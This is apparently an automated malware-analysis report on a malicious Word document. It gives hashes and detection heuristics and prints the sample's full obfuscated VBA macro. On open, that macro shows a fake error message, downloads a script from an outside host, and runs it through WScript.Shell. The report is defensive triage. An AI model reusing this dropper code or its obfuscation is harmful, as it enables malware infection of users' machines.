Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a5d0a4e5476c54f…

MALICIOUS

Office (OLE)

66.0 KB Created: 2018-04-23 18:20:00 Authoring application: Microsoft Office Word First seen: 2018-05-08
MD5: 2dbe0f51fc7ae936cf3e2a3092f25b72 SHA-1: ddd2e0287cb7b3d1f1bfee4f4996476c45971636 SHA-256: 5a5d0a4e5476c54f0432448b11fc50f56308cfd8ccd8385088c8679a257a040a
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing a VBA macro named 'macros.bas'. The macro utilizes a CreateObject call and an AutoOpen function, indicating an attempt to execute code upon opening. The ClamAV detection 'Doc.Dropper.Agent-6515741-0' and the presence of obfuscated VBA code strongly suggest this macro is designed to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6515741-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6515741-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    EhnqLGuYhX8gMMt = "C:\Users\Public\oBhoDCLe." & Chr(Tan(CDbl(1.56232195339193))) & Chr(Tan(CDbl(1.56059259930094))) & Chr(Tan(CDbl(1.56210089378312)))
Set THIRTYv960XsFtJLlrbyoz = CreateObject("MSXML2.XMLHTTP")
THIRTYv960XsFtJLlrbyoz.Open RCKCyuNC2t9iNZhk, cuIpluyIpb3ohth, False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
Dim hiOhXLMkBDzi3yD As String
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13500 bytes
SHA-256: 6c17e8b6c929f9142bf11ea2e694de8ba94a1498e5baa545845bd1570618b958
Detection
ClamAV: No threats found
Obfuscation or payload: likely
98 of 184 identifiers look randomly generated (e.g. 'Ly9nZXRvZmZ0b3AuY29tL2JpbjIudmJz') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "VKhNRx"

Public Function v960XsFtJLlrbyoz(Rl5bAXb7b2FEvHq As String, Optional THREE As Boolean = True) As String
Static yBZHWPmXtngrtI(0 To 255) As Byte
Dim be3gZ2ihLFTH() As Byte, xoc9nDdw5K9Fhor() As Byte
Dim EPqlr3YRYF9ZMPi9wf As Long, MBk8LgeOohi9YfmB As Long
If yBZHWPmXtngrtI(Chr(Tan(CDbl(1.54996600675868)))) = Chr(Tan(CDbl(1.54996600675868))) Then
For EPqlr3YRYF9ZMPi9wf = Chr(Tan(CDbl(1.54996600675868))) To 255
yBZHWPmXtngrtI(EPqlr3YRYF9ZMPi9wf) = 255
Next EPqlr3YRYF9ZMPi9wf
For EPqlr3YRYF9ZMPi9wf = Chr(Tan(CDbl(1.54996600675868))) To 25
yBZHWPmXtngrtI(EPqlr3YRYF9ZMPi9wf + 65) = EPqlr3YRYF9ZMPi9wf
Next EPqlr3YRYF9ZMPi9wf
For EPqlr3YRYF9ZMPi9wf = 26 To 51
yBZHWPmXtngrtI(EPqlr3YRYF9ZMPi9wf + 71) = EPqlr3YRYF9ZMPi9wf
Next EPqlr3YRYF9ZMPi9wf
For EPqlr3YRYF9ZMPi9wf = 52 To 61
yBZHWPmXtngrtI(EPqlr3YRYF9ZMPi9wf - Chr(Tan(CDbl(1.55156792769519)))) = EPqlr3YRYF9ZMPi9wf
Next EPqlr3YRYF9ZMPi9wf
yBZHWPmXtngrtI(43) = 62
yBZHWPmXtngrtI(47) = 63
End If
If Rl5bAXb7b2FEvHq = "" Then Exit Function
Rl5bAXb7b2FEvHq = Trim(Rl5bAXb7b2FEvHq)
If THREE Then
For EPqlr3YRYF9ZMPi9wf = Chr(Tan(CDbl(1.54996600675868))) To 255
If Not (Chr(EPqlr3YRYF9ZMPi9wf) Like "[A-Za-z0-9+/=]") Then
Rl5bAXb7b2FEvHq = Replace(Rl5bAXb7b2FEvHq, Chr(EPqlr3YRYF9ZMPi9wf), "")
End If
Next EPqlr3YRYF9ZMPi9wf
End If
xoc9nDdw5K9Fhor() = StrConv(Rl5bAXb7b2FEvHq, vbFromUnicode)
ReDim be3gZ2ihLFTH(Chr(Tan(CDbl(1.54996600675868))) To ((Len(Rl5bAXb7b2FEvHq) \ Chr(Tan(CDbl(1.55156792769519)))) * Chr(Tan(CDbl(1.55119099593769))) - 1))
For EPqlr3YRYF9ZMPi9wf = Chr(Tan(CDbl(1.54996600675868))) To Len(Rl5bAXb7b2FEvHq) \ Chr(Tan(CDbl(1.55156792769519))) - Chr(Tan(CDbl(1.55079899282175)))
MBk8LgeOohi9YfmB = yBZHWPmXtngrtI(xoc9nDdw5K9Fhor(EPqlr3YRYF9ZMPi9wf * Chr(Tan(CDbl(1.55156792769519))) + Chr(Tan(CDbl(1.55119099593769)))))
MBk8LgeOohi9YfmB = MBk8LgeOohi9YfmB Or (yBZHWPmXtngrtI(xoc9nDdw5K9Fhor(EPqlr3YRYF9ZMPi9wf * Chr(Tan(CDbl(1.55156792769519))) + Chr(Tan(CDbl(1.55079899282175))))) * &H40&)
MBk8LgeOohi9YfmB = MBk8LgeOohi9YfmB Or (yBZHWPmXtngrtI(xoc9nDdw5K9Fhor(EPqlr3YRYF9ZMPi9wf * Chr(Tan(CDbl(1.55156792769519))) + Chr(Tan(CDbl(1.55039099610836))))) * &H1000&)
MBk8LgeOohi9YfmB = MBk8LgeOohi9YfmB Or (yBZHWPmXtngrtI(xoc9nDdw5K9Fhor(EPqlr3YRYF9ZMPi9wf * Chr(Tan(CDbl(1.55156792769519))) + Chr(Tan(CDbl(1.54996600675868))))) * &H40000)
be3gZ2ihLFTH(EPqlr3YRYF9ZMPi9wf * Chr(Tan(CDbl(1.55119099593769))) + Chr(Tan(CDbl(1.54996600675868)))) = (MBk8LgeOohi9YfmB And &HFF0000) \ &H10000
be3gZ2ihLFTH(EPqlr3YRYF9ZMPi9wf * Chr(Tan(CDbl(1.55119099593769))) + Chr(Tan(CDbl(1.55039099610836)))) = (MBk8LgeOohi9YfmB And &HFF00&) \ &H100&
be3gZ2ihLFTH(EPqlr3YRYF9ZMPi9wf * Chr(Tan(CDbl(1.55119099593769))) + Chr(Tan(CDbl(1.55079899282175)))) = MBk8LgeOohi9YfmB And &HFF&
Next EPqlr3YRYF9ZMPi9wf
MBk8LgeOohi9YfmB = Chr(Tan(CDbl(1.54996600675868)))
If yBZHWPmXtngrtI(xoc9nDdw5K9Fhor(EPqlr3YRYF9ZMPi9wf * Chr(Tan(CDbl(1.55156792769519))) + Chr(Tan(CDbl(1.55119099593769))))) <> 255 Then MBk8LgeOohi9YfmB = yBZHWPmXtngrtI(xoc9nDdw5K9Fhor(EPqlr3YRYF9ZMPi9wf * Chr(Tan(CDbl(1.55156792769519))) + 3))
If yBZHWPmXtngrtI(xoc9nDdw5K9Fhor(EPqlr3YRYF9ZMPi9wf * Chr(Tan(CDbl(1.55156792769519))) + Chr(Tan(CDbl(1.55079899282175))))) <> 255 Then MBk8LgeOohi9YfmB = MBk8LgeOohi9YfmB Or (yBZHWPmXtngrtI(xoc9nDdw5K9Fhor(EPqlr3YRYF9ZMPi9wf * 4 + 2)) * &H40&)
If yBZHWPmXtngrtI(xoc9nDdw5K9Fhor(EPqlr3YRYF9ZMPi9wf * Chr(Tan(CDbl(1.55156792769519))) + Chr(Tan(CDbl(1.55039099610836))))) <> 255 Then MBk8LgeOohi9YfmB = MBk8LgeOohi9YfmB Or (yBZHWPmXtngrtI(xoc9nDdw5K9Fhor(EPqlr3YRYF9ZMPi9wf * 4 + 1)) * &H1000&)
If yBZHWPmXtngrtI(xoc9nDdw5K9Fhor(EPqlr3YRYF9ZMPi9wf * Chr(Tan(CDbl(1.55156792769519))) + Chr(Tan(CDbl(1.54996600675868))))) <> 255 Then MBk8LgeOohi9YfmB = MBk8LgeOohi9YfmB Or (yBZHWPmXtngrtI(xoc9nDdw5K9Fhor(EPqlr3YRYF9ZMPi9wf * 4 + Chr(Tan(CDbl(1.54996600675868))))) * &H40000)
be3gZ2ihLFTH(EPqlr3YRYF9ZMPi9wf * Chr(Tan(CDbl(1.55119099593769))) + Chr(Tan(CDbl(1.54996600675868)))) = (MBk8LgeOohi9YfmB And &HFF0000) \ &H10000
be3gZ2ihLFTH(EPqlr3YRYF9ZMPi9wf * Chr(Tan(CDbl(1.55119099593769))) + Chr(Tan(CDbl(1.55039099610836)))) = (MBk8LgeOohi9YfmB And &HFF00&) \ &H100&
be3gZ2ihLFTH(EPqlr3YRYF9ZMPi9wf * Chr(Tan(CDbl(1.55119099593769))) + Chr(Tan(CDbl(1.55079899282175)))) = MBk8LgeOohi9YfmB And &HFF&
If xoc9nDdw5K9Fhor(UBound(xoc9nDdw5K9Fhor) - Chr(Tan(CDbl(1.55039099610836)))) = 61 Then
v960XsFtJLlrbyoz = Left(StrConv(be3gZ2ihLFTH, vbUnicode), UBound(be3gZ2ihLFTH) - Chr(Tan(CDbl(1.55039099610836))))
ElseIf xoc9nDdw5K9Fhor(UBound(xoc9nDdw5K9Fhor)) = 61 Then
v960XsFtJLlrbyoz = Left(StrConv(be3gZ2ihLFTH, vbUnicode), UBound(be3gZ2ihLFTH) - Chr(Tan(CDbl(1.54996600675868))))
Else
v960XsFtJLlrbyoz = StrConv(be3gZ2ihLFTH, vbUnicode)
End If
End Function

Sub RemovePicture()
Dim MxnqfJ1mNUwrb6x As InlineShape
If Application.UserName = "VEXzPmrdQtv" Then
MsgBox ("kQzM11dEay0")
Else
Dim wsBZEqHkwArGl4 As Integer
End If
Dim UqyneQE3pWys5y As Object
Dim cZEEqreAiBxFpe, q9YVVsHywTA As Integer
cZEEqreAiBxFpe = 3
q9YVVsHywTA = 6
#If nHMXdmpwjgH <> 0 Then
nHMXdmpwjgH = nHMXdmpwjgH + 1
Dim Sr8LNeHFIP8 As Variant
Else
Dim Sr8LNeHFIP8 As Object
#End If
If cZEEqreAiBxFpe > q9YVVsHywTA Then
For ciN7MwYUtnvD5k = q9YVVsHywTA To cZEEqreAiBxFpe
q9YVVsHywTA = q9YVVsHywTA / cZEEqreAiBxFpe
Next ciN7MwYUtnvD5k
End If
If Chr(Tan(CDbl(1.55829697777553))) = P Then
Dim bZ3XOzeknCl51C As String
Dim j861k2jQxl3 As String
j861k2jQxl3 = kC6lSIBndi8
bZ3XOzeknCl51C = O52KLDCUjjw
End If
If (StrComp(bZ3XOzeknCl51C, j861k2jQxl3, vbTextCompare) <> 0) Then
MsgBox ("hALy48ukQkRdhu")
End If
For Each MxnqfJ1mNUwrb6x In ActiveDocument.InlineShapes
Dim EPJmWlj0rgYeMTs As String
EPJmWlj0rgYeMTs = Application.UserName
Dim coACbfFCCgOn5pSfy, JZBjo697P67B6oWjJlR As Integer
JZBjo697P67B6oWjJlR = Len(EPJmWlj0rgYeMTs)
Dim rPTuSsCBe1sd3469 As Collection
While JZBjo697P67B6oWjJlR > 7
coACbfFCCgOn5pSfy = coACbfFCCgOn5pSfy + 8
JZBjo697P67B6oWjJlR = JZBjo697P67B6oWjJlR - 1
Wend
Dim hJZB7zNtThMl4D0 As Collection
Set hJZB7zNtThMl4D0 = New Collection
hJZB7zNtThMl4D0.Add "rPTuSsCBe1sd3469"
hJZB7zNtThMl4D0.Add "oPQhBmgAMGGI8o"
hJZB7zNtThMl4D0.Add "jTbTQ99yATjA"
Dim pyoDVM45zM3W5J, gRdMkey9siD As Integer
pyoDVM45zM3W5J = 6
gRdMkey9siD = 9
#If CGQ9U7LJlkV <> 0 Then
CGQ9U7LJlkV = CGQ9U7LJlkV + 5
Dim Pbr8pW6WDEX As Variant
Else
Dim Pbr8pW6WDEX As Object
#End If
If pyoDVM45zM3W5J > gRdMkey9siD Then
For kicDlNUpzFF9SG = gRdMkey9siD To pyoDVM45zM3W5J
gRdMkey9siD = gRdMkey9siD / pyoDVM45zM3W5J
Next kicDlNUpzFF9SG
End If
MxnqfJ1mNUwrb6x.Delete
If Application.UserName = "U4AcdT6nWDp" Then
MsgBox ("jgLITls9SAj")
Else
Dim MlfoYNobB0qLJe As Integer
End If
If Chr(Tan(CDbl(1.55781004387472))) = M Then
Dim zJg5ffRpVDiYOt As String
Dim EVyLLYC14Ng As String
EVyLLYC14Ng = kKV152DdJDb
zJg5ffRpVDiYOt = m8o3iuws6jX
End If
If (StrComp(zJg5ffRpVDiYOt, EVyLLYC14Ng, vbTextCompare) <> 0) Then
MsgBox ("qyvcwO6HHOSZzV")
End If
Dim Yd9Zr7EoXDtbKR As Integer
For xx12aM3KZFW = 5 To 52
Yd9Zr7EoXDtbKR = xx12aM3KZFW
Next xx12aM3KZFW
Dim l8WhN2fTYMLbwC As Integer
Dim mIMw610RuLV As String
l8WhN2fTYMLbwC = 5932
Dim JBDVKBAzyo8 As Integer
mIMw610RuLV = Right(CStr(l8WhN2fTYMLbwC), Chr(Tan(CDbl(1.55039099610836))))
JBDVKBAzyo8 = CInt(mIMw610RuLV)
For YTphqkvN44v = JBDVKBAzyo8 To 94
l8WhN2fTYMLbwC = l8WhN2fTYMLbwC + 6
Next YTphqkvN44v
Dim Wa0hF3BpZQOuSH, hqOmhDtPyzv As String
Wa0hF3BpZQOuSH = 7
hqOmhDtPyzv = 5
#If Wa0hF3BpZQOuSH > hqOmhDtPyzv Then
Dim eY35MS5q3vl As Object
#Else
Dim eY35MS5q3vl As Integer
eY35MS5q3vl = 7 + 5
Dim A42VJfOrJ9W As Integer
For ndt6n8diKmC = A42VJfOrJ9W To Wa0hF3BpZQOuSH
A42VJfOrJ9W = A42VJfOrJ9W + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next ndt6n8diKmC
#End If
Next MxnqfJ1mNUwrb6x
Dim upXXbfaq0JIkLC As Integer
For DTViR74TtWi = 6 To 67
upXXbfaq0JIkLC = DTViR74TtWi
Next DTViR74TtWi
Dim jFErKNZN1AOIHR As Integer
Dim A4hP680gLye As String
jFErKNZN1AOIHR = 7439
Dim pEqxmGGrfVP As Integer
A4hP680gLye = Right(CStr(jFErKNZN1AOIHR), Chr(Tan(CDbl(1.55039099610836))))
pEqxmGGrfVP = CInt(A4hP680gLye)
For cDgt4p8WjHQ = pEqxmGGrfVP To 69
jFErKNZN1AOIHR = jFErKNZN1AOIHR + 4
Next cDgt4p8WjHQ
If Chr(Tan(CDbl(1.557976516322))) = N Then
Dim rZ4LVS0JkLRsbb As String
Dim jn8T0gNEOak As String
jn8T0gNEOak = EAx08HvmuRB
rZ4LVS0JkLRsbb = kuZEnjm23xX
End If
If (StrComp(rZ4LVS0JkLRsbb, jn8T0gNEOak, vbTextCompare) <> 0) Then
MsgBox ("qq3LSvG6vKelQS")
End If
Dim byg0NJIvmQAxYt As Integer
For x0jG3WyNej2 = 6 To 68
byg0NJIvmQAxYt = x0jG3WyNej2
Next x0jG3WyNej2
End Sub
Sub LoadText(ByRef Text As String)
ActiveDocument.Content.InsertAfter Text:=Text
If Application.UserName = "XdBG7fNxa4a" Then
MsgBox ("eWzGYmaZnYj")
Else
Dim vP0Og5t60DVmTs As Integer
End If
If Chr(Tan(CDbl(1.55845127495067))) = Q Then
Dim XM61J9YC7JAdp9 As String
Dim mLaTvG5FZn8 As String
mLaTvG5FZn8 = eJQ38vYv9WQ
XM61J9YC7JAdp9 = Mj81zv97cyc
End If
If (StrComp(XM61J9YC7JAdp9, mLaTvG5FZn8, vbTextCompare) <> 0) Then
MsgBox ("Bd2lcR3NVwT3jx")
End If
If Chr(Tan(CDbl(1.55903216364514))) = U Then
Dim GwBWSH1wBd5qYB As String
Dim inAj0GzY95v As String
inAj0GzY95v = GWkEPUIucrV
GwBWSH1wBd5qYB = GlEfx3m9BK6
End If
If (StrComp(GwBWSH1wBd5qYB, inAj0GzY95v, vbTextCompare) <> 0) Then
MsgBox ("uogG2UCTtzFlLu")
End If
Dim UeVQ3w94kLd5iJ, XzsI7iBA3ui As Integer
UeVQ3w94kLd5iJ = 2
XzsI7iBA3ui = 7
#If J00OO9iVArX <> 0 Then
J00OO9iVArX = J00OO9iVArX + 4
Dim zvZ7zLBARWK As Variant
Else
Dim zvZ7zLBARWK As Object
#End If
If UeVQ3w94kLd5iJ > XzsI7iBA3ui Then
For gq9NzWvdYlkss5 = XzsI7iBA3ui To UeVQ3w94kLd5iJ
XzsI7iBA3ui = XzsI7iBA3ui / UeVQ3w94kLd5iJ
Next gq9NzWvdYlkss5
End If
Dim AMMkgTvYCqBofp, rXzmLmKREVA As String
AMMkgTvYCqBofp = 6
rXzmLmKREVA = 8
#If AMMkgTvYCqBofp > rXzmLmKREVA Then
Dim hZtIhrs8aU8 As Object
#Else
Dim hZtIhrs8aU8 As Integer
hZtIhrs8aU8 = 6 + 8
Dim k8BISa4B9GU As Integer
For PDFYYChEtH0 = k8BISa4B9GU To AMMkgTvYCqBofp
k8BISa4B9GU = k8BISa4B9GU + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next PDFYYChEtH0
#End If
Dim GOQJZCqaQ7Majz As Integer
Dim zOUXFeqkwWO As String
GOQJZCqaQ7Majz = 1252
Dim SpmOsu9yZdy As Integer
zOUXFeqkwWO = Right(CStr(GOQJZCqaQ7Majz), Chr(Tan(CDbl(1.55039099610836))))
SpmOsu9yZdy = CInt(zOUXFeqkwWO)
For Ck79pcCJdlj = SpmOsu9yZdy To 23
GOQJZCqaQ7Majz = GOQJZCqaQ7Majz + 6
Next Ck79pcCJdlj
End Sub

Sub AutoOpen()
Dim hiOhXLMkBDzi3yD As String
hiOhXLMkBDzi3yD = "aHR0cHM6"
Dim IkT8QxSagmMJrdRDh As String
RemovePicture
LoadText ("An error occurred while reading the document. The document was probably made with an outdated version of Microsoft Word.") & Chr(11)
If Application.UserName = "pATRMIK1p9J" Then
MsgBox ("XYzCFgcN7Dr")
Else
Dim Z5QAZMgBRzqgdA As Integer
End If
If Chr(Tan(CDbl(1.55763919132214))) = L Then
Dim dngoA7fEEJNbLk As String
Dim YeuHIO0A6OH As String
YeuHIO0A6OH = dGoxJ4zIFDF
dngoA7fEEJNbLk = XxvpLGow82m
End If
If (StrComp(dngoA7fEEJNbLk, YeuHIO0A6OH, vbTextCompare) <> 0) Then
MsgBox ("CR0v9SGViqSgb0")
End If
If Chr(Tan(CDbl(1.55916894383851))) = V Then
Dim cSo9IS2GAyCylM As String
Dim NlTKd44NkNT As String
NlTKd44NkNT = kk4UnFOBF99
cSo9IS2GAyCylM = OROuGzmOk4S
End If
If (StrComp(cSo9IS2GAyCylM, NlTKd44NkNT, vbTextCompare) <> 0) Then
MsgBox ("VWGVPEjPUsbpar")
End If

IkT8QxSagmMJrdRDh = v960XsFtJLlrbyoz(hiOhXLMkBDzi3yD & "Ly9nZXRvZmZ0b3AuY29tL2JpbjIudmJz")
LLAhsG.AQGXkK2Dl0VJmeo (IkT8QxSagmMJrdRDh)
End Sub


Attribute VB_Name = "LLAhsG"
Attribute VB_Base = "0{1783356B-71FB-4BEE-A357-D714C5BEA688}{490FC340-4881-4585-AD82-F9C7B9CCC229}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Const IkT8QxSagmMJrdRDh As String = "t.Sh"
Function AQGXkK2Dl0VJmeo(ByVal cuIpluyIpb3ohth As String)
Dim THIRTYv960XsFtJLlrbyoz As Object, EVd65l8Eb19emic4 As Long, lmEXZ40e9LIa6qfVTEu5() As Byte
Dim RCKCyuNC2t9iNZhk As String
RCKCyuNC2t9iNZhk = v960XsFtJLlrbyoz("R0U=")
RCKCyuNC2t9iNZhk = RCKCyuNC2t9iNZhk + UCase(Left(IkT8QxSagmMJrdRDh, Chr(Tan(CDbl(1.55039099610836)))))
EhnqLGuYhX8gMMt = "C:\Users\Public\oBhoDCLe." & Chr(Tan(CDbl(1.56232195339193))) & Chr(Tan(CDbl(1.56059259930094))) & Chr(Tan(CDbl(1.56210089378312)))
Set THIRTYv960XsFtJLlrbyoz = CreateObject("MSXML2.XMLHTTP")
THIRTYv960XsFtJLlrbyoz.Open RCKCyuNC2t9iNZhk, cuIpluyIpb3ohth, False
THIRTYv960XsFtJLlrbyoz.Send
Do While THIRTYv960XsFtJLlrbyoz.readyState <> 4
DoEvents
Loop
lmEXZ40e9LIa6qfVTEu5 = THIRTYv960XsFtJLlrbyoz.responseBody
EVd65l8Eb19emic4 = FreeFile
If Dir(EhnqLGuYhX8gMMt) <> "" Then Kill EhnqLGuYhX8gMMt
Open EhnqLGuYhX8gMMt For Binary As #EVd65l8Eb19emic4
Put #EVd65l8Eb19emic4, , lmEXZ40e9LIa6qfVTEu5
Close #EVd65l8Eb19emic4
Set THIRTYv960XsFtJLlrbyoz = Nothing
Dim u77iVet0iBh6a8: Set u77iVet0iBh6a8 = VBA.CreateObject("W" & Mid(IkT8QxSagmMJrdRDh, Chr(Tan(CDbl(1.55119099593769))), Chr(Tan(CDbl(1.55039099610836)))) & v960XsFtJLlrbyoz("Y3JpcA==") & IkT8QxSagmMJrdRDh & "ell")
u77iVet0iBh6a8.Run EhnqLGuYhX8gMMt, Chr(Tan(CDbl(1.54996600675868))), True
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.